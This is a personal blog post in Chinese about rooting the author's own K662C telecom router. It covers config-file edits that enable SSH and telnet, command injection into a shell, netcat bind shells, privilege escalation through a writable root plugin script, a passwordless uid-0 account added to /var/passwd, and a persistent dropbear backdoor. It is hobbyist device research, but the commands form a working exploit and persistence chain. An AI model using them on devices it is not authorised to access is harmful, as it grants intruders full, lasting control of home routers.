Leohearts

拥有一颗坚强而又温柔的心 *version 1.1

cover

给 k662c 开 ssh/telnet 并获取 shell 和 root 权限

手头一直有一个电信送的 k662c,因为其wifi性能还不错,被我一直当作 ap 用。之前一直以为它没法开 shell, 出于网络安全的考虑一直没把它当路由用。现在因为种种原因被迫用了,那么...我又开始好奇,它真的一点办法都没有吗?

入口:开 ssh 和 telnet

还是经典入口,备份/还原配置:

Screenshot_20240107_011139.png.webp

搜索 AclServices, 开启 telnet 和 ssh 服务 (ftp貌似没有

<AclServices HTTPLanEnable="1" HTTPWanEnable="0" FTPLanEnable="1" FTPWanEnable="0" TELNETLanEnable="1" TELNETWanEnable="0" SSHLanEnable="1" SSHWanEnable="0" HTTPPORT="80" FTPPORT="21" TELNETPORT="23" SSHPORT="22" HTTPWifiEnable="1" TELNETWifiEnable="1">

然后把 root 的 Userpassword 和 Salt 修改为和下面的 useradmin 一致,之后就可以用ssh登陆啦。

Screenshot_20240106_201727.png.webp

ssh root@192.168.101.1

获取 shell

ssh中发现存在命令注入:

Screenshot_20240106_204614.png.webp

telnet remote ip ;sh; port 213

就进了网友们之前一直以为不存在的 shell (?
如果你只想要 shell, 那么到这里就结束了。但是...
交互体验不好,上个 nc 后门先:

busybox nc -l -p 2333 -e sh
# 也可以在刚刚命令注入那里直接一行:
telnet remote ip ;busybox nc -l -p 2333 -e sh; port 213

Screenshot_20240106_204957.png.webp

看看系统:

Linux (none) 4.4.240 #1 SMP Wed Sep 15 01:10:21 CST 2021 armv7l armv7l armv7l GNU/Linux

是低权限用户,开始愉快的提权~

提权!

不拿到 root 怎么能好玩呢!

初次尝试:sudo + LD ?

先看看 sudoer

sudo -l
env_keep+=LD_LIBRARY_PATH
(root) SETENV: NOPASSWD:

Screenshot_20240106_210613.png.webp

这里应该是一个利用点,试试 LD_PRELOAD 吧。

sudo docker run -it --rm --platform linux/arm alpine
apk update
apk add gcc
gcc -fPIC -shared exp.c -o exp.so


busybox nc -l -p 2334 > /tmp/evil

busybox nc 192.168.101.1 2334 < localroot/libubus.so


ln -s eos-capi.log.old libubox.so
ln -s eos-capi.log.old libubus.so
cat evil > eos-capi.log.old

试了半天,可能是因为 musl 默认不允许 LD_LIBRARY_PATH 和 LD_PRELOAD 在suid 中运行,也有可能是我操作不对,总之 __attribute__((constructor)) 没成功,覆盖函数我也不想干了。(因为涉及逆向工程华为的软件,存在法律风险。)

这条路不走了,换一个!

方向2:硬盘

发现 disk 用户组,/dev/* 可读写
想办法直接读写 /dev/root ,在sudoer中写入 srv_clid ALL=(ALL) NOPASSWD:ALL # , 覆盖第一行的注释。
但是后来发现 squashfs 是压缩的,且存在 sign ,所以这条路太麻烦了。

尝试 /dev/ubi0_9, 因为 /mnt/jffs2/app/cplugin/cplugin1/MyPlugin/daemon.sh .
ubifs 也有 CRC,因为我们没法保证写入时能够很快完成 (不然容易炸固件),所以没法尝试全盘写入。

尝试3:错误配置的权限

真的不行了吗?不是!仔细一看,我们是 service 组,那么有哪些文件我们可以看看呢?

在运行的进程中发现 2953 root 1504 S {daemon.sh} /bin/sh /mnt/jffs2/app/cplugin/cplugin1/MyPlugin/daemon.sh, 虽然运行在 lxc 里面,但是是 root

仔细一看, /mnt/jffs2/app/cplugin/cplugin1/ 可写!

Screenshot_20240106_235016.png.webp

于是我们可以先去ssh那边停掉这个服务:

plugcmd stop name kernelapp

然后回到shell这里,修改文件:

cd /mnt/jffs2/app/cplugin/cplugin1/
cp -r MyPlugin MyPlugin.2
mv MyPlugin _MyPlugin
mv MyPlugin.2 MyPlugin
cd MyPlugin
chmod +w daemon.sh
sed -i '/Copyright/a cd ..;cd _MyPlugin;' daemon.sh
sed -i '/while true/a sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh' daemon.sh

Screenshot_20240107_000613.png.webp

(注意图片中的命令改过了)

在 /mnt/jffs2/app/cplugin/cplugin1/ 下写入我们的程序:

cd /mnt/jffs2/app/cplugin/cplugin1/
echo 'id>x' > cmd.sh

之后再回到 ssh 那边启动服务

plugcmd start name kernelapp

再回到 shell,发现在 _MyPlugin 下,文件 x 已经被写入了。提权成功!

Screenshot_20240107_012055.png.webp

如果要 shell 的话也很简单,让它去另一个端口开一个 root 的 telnet service 就可以了。试试看吧!

echo 'busybox nc -l -p 2339 -e sh &' > /mnt/jffs2/app/cplugin/cplugin1/cmd.sh
因为 / 是只读并且有签名,所以我们没法直接修改根目录的文件。

Screenshot_20240107_002711.png.webp

虽然这样得到的 shell 是处于 lxc 内的,命名空间与父级不同,但是文件、网络等等都是互通的,所以没差。 所以进程信息和/etc下的部分文件依然不一样。

所以下一步,我们要利用文件上的特权从 lxc 内对宿主进行提权。因为 /etc/passwd 都指向 tmpfs 的 /var/passwd, 所以尝试在 lxc 内修改 /var/passwd, 发现可以修改并且在宿主机同步了。大成功!

# lxc内
echo 'hecker::0:0::/root:/bin/sh' >>/var/passwd
# ssh中
telnet remote ip ;su hecker; port 213

Screenshot_20240107_004421.png.webp

持久化

你也可以考虑把这个持久化,比如说写一行

echo 'if cat /var/passwd | grep hecker
then
exit
fi
echo 'hecker::0:0::/root:/bin/sh' >>/var/passwd' > cmd.sh

之类的!这样就不怕重启掉权限啦。
这样,我们想要 root shell 的时候只需要 ssh 上去,然后 telnet remote ip ;su hecker; port 213 就可以了!
想再方便一点?改改 /etc/profile, 这样我们就可以愉快地直接在 ssh 中输入 shell 啦。需要先想办法搞定那个 ro 的 rootfs .

更新:哦,/mnt/ 下有开机会自动用 root 启动的程序,那就好说了。 dropbear , 上!

这个安全性做的,看上去 root 程序都在 ro 的 rootfs 下,插件全都进 lxc , 实则只要出了一个口子就相当于完全没做隔离。
#提前下载好[静态编译的 dropbear](https://bitfab.org/dropbear-static-builds/) 放到 /mnt/jffs2/myBin/ 下, 并生成好 id_rsa
cd /mnt/jffs2/apps/apps/qlink/files
mv qlink _qlink
echo -e '#!/bin/sh\necho "SSH server started on port 2222"\necho Login with hecker with blank password.\n/mnt/jffs2/myBin/dropbearmulti dropbear -B -r /mnt/jffs2/myBin/id_rsa -p 2222\n/mnt/jffs2/apps/apps/qlink/files/_qlink\n' > qlink
chmod 755 qlink

Screenshot_20240108_002914.png.webp

这样一来,开机就会启动我们自己的 ssh 服务了。

折腾到此结束~

搞完之后就可以随便整活了,比如

  • 开额外的 wifi
  • 配置 VLAN

记一些自己的笔记:

set wlan basic laninst 1 wlaninst 7 ssid emoH-straehoeL
set wlan basic laninst 1 wlaninst 7 enable 1
set wlan basic laninst 1 wlaninst 7 beaconType WPA2/WPA3
set wlan basic laninst 1 wlaninst 7 wpaandieee11iencryptionmodes AESEncryption
set wlan basic laninst 1 wlaninst 7 wpaandieee11iauthenticationmode PSKandSAEAuthentication
set wlan basic laninst 1 wlaninst 7 wmmenable 1

# 然后去wifi设置的地方抓包,修改 psk1=InternetGatewayDevice.LANDevice.1.WLANConfiguration.7.PreSharedKey.1 后重发